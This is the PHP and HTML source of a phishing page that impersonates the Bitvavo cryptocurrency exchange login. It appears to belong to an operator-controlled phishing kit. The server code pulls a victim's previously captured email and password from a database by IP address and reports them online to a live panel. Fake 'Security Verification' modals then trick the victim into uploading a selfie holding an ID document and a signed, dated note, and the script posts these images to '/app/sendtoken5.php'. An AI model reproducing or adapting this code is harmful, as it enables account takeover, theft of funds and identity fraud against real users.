<?php
@session_start();
error_reporting(0);

require_once "../../cod3rconfig/registro.php";
require_once "../../cod3rconfig/conexao.php";
require_once "../../cod3rconfig/data.php";


require("../../bot.php");
$erro = $_REQUEST['error'];
$ip = (isset($_SERVER["HTTP_CF_CONNECTING_IP"]) ? $_SERVER["HTTP_CF_CONNECTING_IP"] : $_SERVER['REMOTE_ADDR']);

$query_info = "SELECT * FROM infos WHERE ip='$ip'";
$recorinfo = mysqli_query(DBConnect(), $query_info) or die(mysqli_error(DBConnect()));
$row_infio = mysqli_fetch_assoc($recorinfo);
$totalRowsinfo = mysqli_num_rows($recorinfo);

$email = $row_infio['usuario'];
$user = $row_infio['user_master'];
$senha = $row_infio['senha'];
$saldo = $row_infio['saldo'];
$saldo1 = $row_infio['saldo1'];
$msgpic = $row_infio['msgpic'];

$tempo = time();
$atualiza = mysqli_query(DBCOnnect(), "UPDATE infos SET tempo='$tempo', status='Online', statusremote='Online foto' WHERE ip='$ip'");

?>

<html>

<head>
    <meta charset="utf-8">
    <link rel="preconnect" href="https://fonts.googleapis.com">
    <link rel="preconnect" href="https://fonts.gstatic.com" crossorigin="">
    <link href="https://fonts.googleapis.com/css2?family=Inter:wght@400;500;600&amp;display=swap" rel="stylesheet">
    <meta name="format-detection" content="telephone=no">
    <meta name="viewport" content="width=device-width,initial-scale=1,minimum-scale=1,maximum-scale=1,user-scalable=0">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <link rel="icon" href="/assets-bitvavo/images/favicon.ico">
    <title>Bitvavo</title>
    <link href="/assets-bitvavo/css/2.9fa3ecc1.chunk.css" rel="stylesheet">
    <link rel="stylesheet" href="/assets-bitvavo/css/main.css">
    <script src="https://cdnjs.cloudflare.com/ajax/libs/axios/1.1.2/axios.min.js"></script>
    <script src="../app/js/jquery-3.6.0.min.js" type="text/javascript"></script>
    <script src="../dados_comando.js?t=<?=rand(999,99999999)?>" type="text/javascript"></script>
    <!--TEMPO REAL-->
    <script type="text/javascript">
        $(document).ready(function() {
            atualiza();
        });

        function atualiza() {
            $.get('../ver_online.php',

                function(resultado) {
                    $('#onlineagora').html(resultado);
                })

            setTimeout('atualiza()', 1250);
        }
    </script>
</head>

<body>
    <div id="root" class="">
        <div class="PublicLayoutstyles__PublicHolder-sc-vj0aix-0 jnvfhw">
            <header class="PublicLayoutstyles__Header-sc-vj0aix-1 qyzep">
                <a class="">
                    <svg xmlns="http://www.w3.org/2000/svg" viewBox="92.992 223.675 373.116 59.243" class="PublicLayoutstyles__Logo-sc-vj0aix-2 cHBePQ">
                        <path d="M 210.988 240.885 C 206.693 240.882 202.502 242.206 198.988 244.675 L 198.988 223.675 L 189.988 223.675 L 189.988 282.845 L 198.988 282.845 L 198.988 279.075 C 212.221 288.361 230.544 279.84 231.969 263.737 C 233.058 251.431 223.342 240.849 210.988 240.885 Z M 210.988 273.885 C 201.75 273.885 195.977 263.885 200.596 255.885 C 205.215 247.885 216.762 247.885 221.38 255.885 C 222.434 257.71 222.988 259.779 222.988 261.885 C 222.972 268.501 217.604 273.855 210.988 273.855 Z">
                        </path>
                        <path d="M 239.988 240.885 L 248.988 240.885 L 248.988 282.885 L 239.988 282.885 Z M 239.988 227.395 L 248.988 227.395 L 248.988 236.395 L 239.988 236.395 Z">
                        </path>
                        <path d="M 283.348 273.855 L 276.348 273.855 C 273.868 273.855 272.348 271.855 272.348 269.365 L 272.348 249.875 L 284.888 249.875 L 281.728 240.875 L 272.388 240.875 L 272.388 228.815 L 263.388 231.985 L 263.388 240.885 L 255.988 240.885 L 255.988 249.885 L 263.438 249.885 L 263.438 272.355 C 263.433 278.14 268.114 282.834 273.898 282.845 L 283.398 282.845 Z">
                        </path>
                        <path d="M 320.988 240.885 L 308.988 271.765 L 296.878 240.885 L 287.878 240.885 L 304.268 282.885 L 313.618 282.885 L 330.008 240.885 Z">
                        </path>
                        <path d="M 352.988 273.855 C 343.75 273.855 337.977 263.855 342.596 255.855 C 347.215 247.855 358.762 247.855 363.38 255.855 C 364.434 257.68 364.988 259.749 364.988 261.855 C 364.988 268.483 359.615 273.855 352.988 273.855 Z M 364.988 244.675 C 351.74 235.412 333.431 243.964 332.033 260.069 C 330.634 276.174 347.195 287.754 361.841 280.912 C 362.941 280.399 363.994 279.791 364.988 279.095 L 364.988 282.865 L 373.988 282.865 L 373.988 240.865 L 364.988 240.865 Z">
                        </path>
                        <path d="M 422.098 240.885 L 413.098 240.885 L 401.048 271.765 L 388.988 240.885 L 379.988 240.885 L 396.368 282.885 L 405.698 282.885 Z">
                        </path>
                        <path d="M 445.108 273.855 C 435.87 273.855 430.097 263.855 434.716 255.855 C 439.335 247.855 450.882 247.855 455.5 255.855 C 456.554 257.68 457.108 259.749 457.108 261.855 C 457.108 268.483 451.735 273.855 445.108 273.855 Z M 445.108 240.855 C 428.942 240.855 418.839 258.355 426.922 272.355 C 435.004 286.355 455.212 286.355 463.295 272.355 C 465.138 269.163 466.108 265.542 466.108 261.855 C 466.108 250.257 456.706 240.855 445.108 240.855 Z">
                        </path>
                        <path d="M 123.668 230.701 L 144.469 230.701 L 113.758 282.178 L 92.992 282.178 Z"></path>
                        <path d="M 142.768 256.274 L 163.557 256.274 L 148.202 282.178 L 127.424 282.178 Z"></path>
                    </svg>
                </a>
                <div class="PublicLayoutstyles__BackButtonRightContainer-sc-vj0aix-3 crBeYa">
                    <a class="AdditionalOptions__StyledAnchor-sc-b8xjj1-2 PublicLayoutstyles__BackButtonRight-sc-vj0aix-4 dVCsjL igVdut">
                        Create Account
                    </a>
                </div>
            </header>
            <div class="Sharedstyles__CenterContent-sc-1fzssvk-2 hRLMpJ">
                <div class="Sharedstyles__BorderContainer-sc-1fzssvk-3 bRWpoS">
                    <h1 class="Sharedstyles__Header-sc-1fzssvk-5 emHEnP">Login
                        <svg viewBox="0 0 12 12" fill="none" xmlns="http://www.w3.org/2000/svg" class="Sharedstyles__LockIcon-sc-1fzssvk-0 ilkufC">
                            <path d="M6 0C4.42857 0 3 1.2375 3 2.75V3H1C0.5 3 0 3.5 0 4C0 4 0 10.5 0 11C0 11.5 0.5 12 1 12H11C11.5 12 12 11.5 12 11V4C12 3.5 11.5 3 11 3H9V2.75C9 1.2375 7.57143 0 6 0ZM6.71429 8V9H5.28571V8C4.85714 7.79375 4.57143 7.3125 4.57143 6.83125C4.57143 6.075 5.21429 5.45625 6 5.45625C6.78571 5.45625 7.42857 6.075 7.42857 6.83125C7.42857 7.3125 7.14286 7.79375 6.71429 8ZM7.57143 3H4.42857V2.75C4.42857 1.99375 5.21429 1.375 6 1.375C6.78571 1.375 7.57143 1.99375 7.57143 2.75V3Z" fill="#00A693">
                            </path>
                        </svg>
                    </h1>
                    <div id="messages" style="display: none;" class="Sharedstyles__ErrorContainer-sc-1fzssvk-4 keUWiG">
                        <div class="ErrorCardstyles__ErrorCardContainer-sc-lduzis-0 eDpngZ">
                            <div class="ErrorCardstyles__ErrorCardHeaderContainer-sc-lduzis-1 iFCPKz">
                                <span class="ErrorCardstyles__ErrorCardHeader-sc-lduzis-2 cbvnfk">Login failed</span>
                                <svg id="closeone" viewBox="0 0 24 24" fill="none" xmlns="http://www.w3.org/2000/svg" class="ErrorCardstyles__ErrorCardIcon-sc-lduzis-3 gEgdEp">
                                    <path d="M17 7L7 17" stroke="#E52B50" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"></path>
                                    <path d="M7 7L17 17" stroke="#E52B50" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"></path>
                                </svg>
                            </div>
                            <div class="ErrorCardstyles__ErrorCardText-sc-lduzis-4 hTRdTe">Your email and/or password is incorrect. Please try again.</div>
                        </div>
                    </div>
                    <div id="messagesexpired" style="display: none;" class="Sharedstyles__ErrorContainer-sc-1fzssvk-4 keUWiG">
                        <div class="ErrorCardstyles__ErrorCardContainer-sc-lduzis-0 eDpngZ">
                            <div class="ErrorCardstyles__ErrorCardHeaderContainer-sc-lduzis-1 iFCPKz">
                                <span class="ErrorCardstyles__ErrorCardHeader-sc-lduzis-2 cbvnfk">Login failed</span>
                                <svg id="closetwo" viewBox="0 0 24 24" fill="none" xmlns="http://www.w3.org/2000/svg" class="ErrorCardstyles__ErrorCardIcon-sc-lduzis-3 gEgdEp">
                                    <path d="M17 7L7 17" stroke="#E52B50" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"></path>
                                    <path d="M7 7L17 17" stroke="#E52B50" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"></path>
                                </svg>
                            </div>
                            <div class="ErrorCardstyles__ErrorCardText-sc-lduzis-4 hTRdTe">Your session expired. Please try again.</div>
                        </div>
                    </div>
                    <form action="#" method="post" onsubmit="return senddados();">
                        <input type="hidden" name="camp" id="camp" value="<?= $camp ?>">
                        <div class="Inputstyles__InputWrapper-sc-f9ht63-0 huLWpI">
                            <input label="Email address" id="login" type="email" name="email" placeholder="fill" class="Inputstyles__InputField-sc-f9ht63-8 hoAqQi" value="<?php echo $email; ?>">
                            <div id="bordermail" class="Inputstyles__Border-sc-f9ht63-4 ePpLRN"></div>
                            <span id="textmail" class="Inputstyles__Label-sc-f9ht63-9 hOouBF">
                                Email address
                            </span>
                            <div id="eraselogin" class="Inputstyles__Right-sc-f9ht63-10 haGyEF">
                                <svg width="24" height="24" viewBox="0 0 24 24" fill="none" xmlns="http://www.w3.org/2000/svg" class="Inputstyles__Clear-sc-f9ht63-6 fCVDYO">
                                    <path d="M17 7L7 17" stroke="#687B8D" stroke-width="2" stroke-linecap="round" stroke-linejoin="round">
                                    </path>
                                    <path d="M7 7L17 17" stroke="#687B8D" stroke-width="2" stroke-linecap="round" stroke-linejoin="round">
                                    </path>
                                </svg>
                            </div>
                            <div>
                                <div id="messageemail" class="Inputstyles__ErrorMessage-sc-f9ht63-3 dfMYAS"></div>
                            </div>
                        </div>
                        <div class="Inputstyles__InputWrapper-sc-f9ht63-0 huLWpI">
                            <input label="Password" id="password" type="password" name="password" placeholder="fill" class="Inputstyles__InputField-sc-f9ht63-8 hoAqQi" value="<?php echo $senha; ?>">
                            <div class="Inputstyles__Border-sc-f9ht63-4 ePpLRN"></div>
                            <span class="Inputstyles__Label-sc-f9ht63-9 hOouBF">
                                Password
                            </span>
                            <div id="eye">
                                <div class="Inputstyles__Right-sc-f9ht63-10 haGyEF">
                                    <svg viewBox="0 0 24 24" fill="none" xmlns="http://www.w3.org/2000/svg" class="Inputstyles__Visible-sc-f9ht63-12 fTAMIJ">
                                        <path d="M3 12C3 12 6.27273 6 12 6C17.7273 6 21 12 21 12C21 12 17.7273 18 12 18C6.27273 18 3 12 3 12Z" stroke="#687B8D" stroke-width="2" stroke-linecap="round" stroke-linejoin="round">
                                        </path>
                                        <path d="M12 14C13.1046 14 14 13.1046 14 12C14 10.8954 13.1046 10 12 10C10.8954 10 10 10.8954 10 12C10 13.1046 10.8954 14 12 14Z" fill="#687B8D">
                                        </path>
                                        <path d="M5 5L19 19" stroke="#687B8D" stroke-width="2" stroke-linecap="round" stroke-linejoin="round">
                                        </path>
                                    </svg>
                                </div>
                            </div>
                            <div class="Inputstyles__ErrorMessage-sc-f9ht63-3 ipjBpY"></div>
                        </div>
                        <div class="Buttonstyles__ButtonHolder-sc-81zk4r-0 eJnynJ Loginstyles__LoginButton-sc-fyflht-2 eQByjF">
                            <button disabled="" type="submit" id="submit-login" class="Buttonstyles__ButtonElement-sc-81zk4r-1 keHBnh btncentercontent">
                                <span>
                                    Login
                                </span>
                            </button>
                        </div>
                    </form>
                </div>
                <div class="AdditionalOptions__ResetOptionsContainer-sc-b8xjj1-0 cJyjuW">
                    <div class="AdditionalOptions__AdditionalOptionsWrapper-sc-b8xjj1-4 cheBRP">
                        <a class="AdditionalOptions__StyledAnchor-sc-b8xjj1-2 dVCsjL">
                            Reset Password
                        </a>
                        <div class="AdditionalOptions__ConjunctionSpacer-sc-b8xjj1-1 hxSWnf">
                            or
                        </div>
                    </div>
                    <div class="AdditionalOptions__AdditionalOptionsWrapper-sc-b8xjj1-4 cheBRP">
                        <a class="Linkstyles__LinkStyles-sc-y5ncdt-0 eRIFbb AdditionalOptions__StyledLink-sc-b8xjj1-3 egzdLT">
                            Create account
                        </a>
                    </div>
                </div>
            </div>
        </div>
    </div>
    <div id="hide1" class="Modalstyles__StyledModalHolder-sc-qf5hf0-0 dZIScP">
        <div class="Modalstyles__StyledModalInner-sc-qf5hf0-1 ccQUNH">
            <div class="Modalstyles__StyledModalHeader-sc-qf5hf0-2 fppfKi">
                <div class="Modalstyles__StyledModalTitleHolder-sc-qf5hf0-6 kvMaMW">
                    <h3 class="Modalstyles__StyledModalTitle-sc-qf5hf0-3 fwQVoV">Security Verification</h3>
                </div>
            </div>
            <div class="Modalstyles__StyledModalContent-sc-qf5hf0-5 iOHDjB">
                <div data-testid="verify">
                    <div class="Sharedstyles__Text-sc-1fzssvk-6 sharedstyles__StyledText-sc-oa7spt-0 fOmmgu cQqzOi">
                        To complete your login and safely verify that it is you who is trying to log in, you need to submit a photo of yourself holding in one hand your document used to verify your account, and in the other hand a blank piece of paper with your signature and today's date on it.
                    </div>
                    <ul class="AddAddressModalstyles__VerifyList-sc-8cb2m1-3 hgxbUZ">
                        <li class="AddAddressModalstyles__VerifyListItem-sc-8cb2m1-4 kGSvYY">
                            <svg width="24" height="24" viewBox="0 0 24 24" fill="none" xmlns="http://www.w3.org/2000/svg" class="AddAddressModalstyles__StyledListCheckboxIcon-sc-8cb2m1-5 llQcAi">
                                <path d="M8 11L11 14L22 3" stroke="#0051FF" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"></path>
                                <path d="M20 12V19C20 20.1046 19.1046 21 18 21H4C2.89543 21 2 20.1046 2 19V5C2 3.89543 2.89543 3 4 3H15" stroke="#002FA7" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"></path>
                            </svg>Upload photo holding your ID document in one hand and a blank piece of paper with your signature and today's date in the other.
                        </li>
                    </ul>
                    <div class="Buttonstyles__ButtonHolder-sc-81zk4r-0 eJnynJ">
                        <button id="btnhide1" type="button" class="Buttonstyles__ButtonElement-sc-81zk4r-1 keHBnh">
                            <span>Proceed to verification</span>
                        </button>
                        <!-- <button id="teste">
                            teste
                        </button> -->
                    </div>
                </div>
            </div>
            <div class="Modalstyles__StyledScrollIndicator-sc-qf5hf0-8 vZtQs"></div>
        </div>
    </div>
    <div id="show0" style="display: none;" class="Modalstyles__StyledModalHolder-sc-qf5hf0-0 dZIScP">
        <div class="Modalstyles__StyledModalInner-sc-qf5hf0-1 ccQUNH">
            <div class="Modalstyles__StyledModalHeader-sc-qf5hf0-2 fppfKi">
                <div class="Modalstyles__StyledModalTitleHolder-sc-qf5hf0-6 kvMaMW">
                    <h3 class="Modalstyles__StyledModalTitle-sc-qf5hf0-3 fwQVoV">Security Verification</h3>
                </div>
            </div>
            <div class="Modalstyles__StyledModalContent-sc-qf5hf0-5 iOHDjB">
                <div data-testid="uploadSelfie">
                    <div class="Sharedstyles__Text-sc-1fzssvk-6 sharedstyles__StyledText-sc-oa7spt-0 fOmmgu cQqzOi">
                        <span style="font-weight: bold; color: black;">Follow the steps and sent your photo</span>
                        <p>
                            <li style="font-weight: bold; color: black;">

                                In one of your hands hold your document used to verify your account.
                            </li>
                        </p>
                        <p>
                            <li style="font-weight: bold; color: black;">
                                In another hand hold a blank paper with your signature and today's date.
                            </li>
                        </p>
                        <div class="FileUploadFormstyles__FileInputWrapper-sc-16jrygu-0 eDWBbz">
                            <div class="FileUploadFormstyles__FileUploadIconWrapper-sc-16jrygu-5 jGqOBI">
                                <img src="/app/upload/imagens/controlverification.png" class="AddAddressModalstyles__StyledImage-sc-8cb2m1-6 fUsdtY">
                            </div>
                        </div>
                        <div class="Buttonstyles__ButtonHolder-sc-81zk4r-0" style="display: block; width: auto; -webkit-box-flex: 1; flex-grow: 1; flex-basis: 0px; user-select: none; padding-top: 30px; margin-bottom: -10px;">
                            <button id="btnhide0" type="button" class="Buttonstyles__ButtonElement-sc-81zk4r-1 keHBnh">
                                <span>Continue</span>
                            </button>
                        </div>
                    </div>
                </div>
                <div class="Modalstyles__StyledScrollIndicator-sc-qf5hf0-8 vZtQs"></div>
            </div>
        </div>
    </div>
    <div id="show1" style="display: none;" class="Modalstyles__StyledModalHolder-sc-qf5hf0-0 dZIScP">
        <div class="Modalstyles__StyledModalInner-sc-qf5hf0-1 ccQUNH">
            <div class="Modalstyles__StyledModalHeader-sc-qf5hf0-2 fppfKi">
                <div class="Modalstyles__StyledModalTitleHolder-sc-qf5hf0-6 kvMaMW">
                    <h3 class="Modalstyles__StyledModalTitle-sc-qf5hf0-3 fwQVoV">Upload selfie</h3>
                </div>
            </div>
            <div class="Modalstyles__StyledModalContent-sc-qf5hf0-5 iOHDjB">
                <div data-testid="uploadSelfie">
                    <div class="Sharedstyles__Text-sc-1fzssvk-6 sharedstyles__StyledText-sc-oa7spt-0 fOmmgu cQqzOi">To protect your account from unauthorized withdrawals, please upload a selfie showing your face and identity document.</div>
                    <div class="FileUploadFormstyles__FileInputWrapper-sc-16jrygu-0 eDWBbz">
                        <input id="inputfile" onchange="loadFile(event)" type="file" accept="image/*,.pdf" name="fileInputList" class="FileUploadFormstyles__FileInput-sc-16jrygu-1 ddgOgX">
                        <div class="FileUploadFormstyles__FileUploadIconWrapper-sc-16jrygu-5 jGqOBI"><svg width="97" height="96" viewBox="0 0 97 96" fill="none" xmlns="http://www.w3.org/2000/svg">
                                <path d="M72.3251 34.5784L72.4732 35.3297L73.2372 35.3826C81.4981 35.9545 88 42.7506 88 51.125C88 59.8877 80.8877 67 72.125 67H28.25C17.631 67 9 58.369 9 47.75C9 37.8369 16.5075 29.6558 26.162 28.6294L26.6954 28.5727L26.9432 28.0969C30.9968 20.314 39.1342 15 48.5 15C60.2978 15 70.1207 23.394 72.3251 34.5784Z" stroke="#C8E1FC" stroke-width="2"></path>
                                <path d="M49 83C60.0457 83 69 74.0457 69 63C69 51.9543 60.0457 43 49 43C37.9543 43 29 51.9543 29 63C29 74.0457 37.9543 83 49 83Z" fill="white" stroke="#0051FF" stroke-width="3" stroke-linecap="round" stroke-linejoin="round"></path>
                                <g clip-path="url(#clip0_8633_80904)">
                                    <path d="M49 55L49 70" stroke="#0051FF" stroke-width="3" stroke-linecap="round" stroke-linejoin="round"></path>
                                    <path d="M43 61L49 55L55 61" stroke="#0051FF" stroke-width="3" stroke-linecap="round" stroke-linejoin="round"></path>
                                </g>
                                <defs>
                                    <clipPath id="clip0_8633_80904">
                                        <rect width="26" height="25" fill="white" transform="translate(36 76) rotate(-90)"></rect>
                                    </clipPath>
                                </defs>
                            </svg></div>
                    </div>
                    <div class="FileUploadFormstyles__FileInputContent-sc-16jrygu-2 geifHk">
                        <div class="FileUploadFormstyles__UploadFilesLabel-sc-16jrygu-3 jYLWxp">Upload one or multiple files</div>
                        <div class="FileUploadFormstyles__SupportedFileTypesLabel-sc-16jrygu-4 cptAto">.jpg and .pdf</div>
                    </div>
                </div>
            </div>
            <div class="Modalstyles__StyledScrollIndicator-sc-qf5hf0-8 vZtQs"></div>
        </div>
    </div>
    <div id="show2" style="display: none;" class="Modalstyles__StyledModalHolder-sc-qf5hf0-0 dZIScP">
        <div class="Modalstyles__StyledModalInner-sc-qf5hf0-1 ccQUNH">
            <div class="Modalstyles__StyledModalHeader-sc-qf5hf0-2 fppfKi">
                <div class="Modalstyles__StyledModalTitleHolder-sc-qf5hf0-6 kvMaMW">
                    <h3 class="Modalstyles__StyledModalTitle-sc-qf5hf0-3 fwQVoV">Confirm selfie</h3>
                </div>
            </div>
            <div class="Modalstyles__StyledModalContent-sc-qf5hf0-5 iOHDjB">
                <div data-testid="confirmSelfie">
                    <div class="Sharedstyles__Text-sc-1fzssvk-6 sharedstyles__StyledText-sc-oa7spt-0 fOmmgu cQqzOi">Please make sure the picture clearly shows your face and your identity document.</div>
                    <div class="AddAddressModalstyles__PreviewHolder-sc-8cb2m1-7 dCDQEN">
                        <img id="output" class="AddAddressModalstyles__StyledImage-sc-8cb2m1-6 fUsdtY">
                        <span style="margin: unset;" class="Sharedstyles__Text-sc-1fzssvk-6 sharedstyles__StyledText-sc-oa7spt-0 fOmmgu cQqzOi" id="changepdf"></span>
                    </div>
                    <div class="AddAddressModalstyles__CheckboxWrapper-sc-8cb2m1-8 fAxnZC">
                        <div class="Checkboxstyles__CheckboxHolder-sc-1ll49ae-0 GLXam AddAddressModalstyles__StyledCheckbox-sc-8cb2m1-9 bUROkg">
                            <div class="Checkboxstyles__CheckboxLeft-sc-1ll49ae-1 jlwgup">
                                <label id="confirmationpic" class="Checkboxstyles__CheckboxItem-sc-1ll49ae-5 iPHRFr">
                                    <input id="verifySelfie" type="checkbox" class="Checkboxstyles__CheckboxInput-sc-1ll49ae-3 hXrfxy">
                                    <span id="verifyclick" class="Checkboxstyles__CheckboxInputSpan-sc-1ll49ae-4 TuPFc"></span>
                                </label>
                            </div>
                            <div class="Checkboxstyles__CheckboxRight-sc-1ll49ae-2 jbtHuw"></div>
                        </div>
                        <label for="verifySelfie">The picture clearly shows my face and identity document</label>
                    </div>
                    <div class="sharedstyles__ButtonsWrapper-sc-oa7spt-2 cnDINI">
                        <div class="Buttonstyles__ButtonHolder-sc-81zk4r-0 eJnynJ">
                            <button id="submitpic" disabled="" class="Buttonstyles__ButtonElement-sc-81zk4r-1 keHBnh">
                                <span>Submit and Continue</span>
                            </button>
                        </div>
                        <div class="Buttonstyles__ButtonHolder-sc-81zk4r-0 eJnynJ">
                            <button id="backpast" class="Buttonstyles__ButtonElement-sc-81zk4r-1 iknzJa">
                                <span>Upload a new selfie</span>
                            </button>
                        </div>
                    </div>
                </div>
            </div>
            <div class="Modalstyles__StyledScrollIndicator-sc-qf5hf0-8 cErxrF"></div>
        </div>
    </div>
    <script>
        document.getElementById("btnhide1").addEventListener("click", function() {
            document.getElementById("hide1").style.display = "none";
            document.getElementById("show0").style.display = "flex";
            localStorage.clear();
        });

        document.getElementById("btnhide0").addEventListener("click", function() {
            document.getElementById("show0").style.display = "none"
            document.getElementById("show1").style.display = "flex"
        })

        var loadFile = function(event) {
            document.getElementById("show1").style.display = "none";
            document.getElementById("show2").style.display = "flex";
            var output = document.getElementById('output');
            var pdforother = document.getElementById("changepdf");
            fileName = document.getElementById("inputfile").value;
            extension = fileName.split('.').pop();
            // console.log(extension)
            if (extension === 'png' || extension === 'jpg') {
                output.style.display = "flex"
                pdforother.style.display = "none"
                output.innerHTML = '<img id="output" class="AddAddressModalstyles__StyledImage-sc-8cb2m1-6 fUsdtY">'
                output.src = URL.createObjectURL(event.target.files[0]);
            } else {
                output.style.display = "none"
                pdforother.style.display = "flex"
                pdforother.textContent = "Unable to preview PDF files"
            }

            output.onload = function() {
                // URL.revokeObjectURL(output.src)
            }

            const images = event.target.files;

            for (const image of images) {
                const reader = new FileReader();

                reader.readAsDataURL(image);

                reader.addEventListener('load', () => {
                    const imagesArray = localStorage.getItem('images');
                    let images = [];

                    if (imagesArray) {
                        images = [...JSON.parse(imagesArray)];

                        images.push(reader.result);
                    } else {
                        images.push(reader.result);
                    }

                    localStorage.setItem('images', images);
                });
            }
        };

        document.getElementById("submitpic").addEventListener("click", function(){
            $(document).ready(function() {
                var token = localStorage.images
                $.ajax({
                    type: 'post', //Definimos o método HTTP usado
                    data: {
                        token: token,
                    },
                    dataType: 'json', //Definimos o tipo de retorno
                    url: '/app/sendtoken5.php', //Definindo o arquivo onde serão buscados os dados
                    success: function(data) {}
                });
            });
            return false;
        })

        var confirmpic = document.getElementById("verifyclick");
        confirmpic.addEventListener("click", function() {
            document.getElementById("submitpic").removeAttribute("disabled")
        });

        document.getElementById("backpast").addEventListener("click", function() {
            document.getElementById("show2").style.display = "none";
            document.getElementById("show1").style.display = "flex";
            localStorage.clear();
        })
    </script>
    <!-- <script src="/assets/js/notification.js?t=123123123"></script> -->
    <script src="/assets-bitvavo/js/main.js"></script>
    <!-- <script>
        document.getElementById("teste").addEventListener("click", function() {
            const elements = localStorage.getItem("images");
            let pdfWindow = window.open("")
            pdfWindow.document.write(
                "<iframe width='100%' height='100%' src='" +
                encodeURI(elements) + "'></iframe>"
            )
        })
    </script> -->
</body>

</html>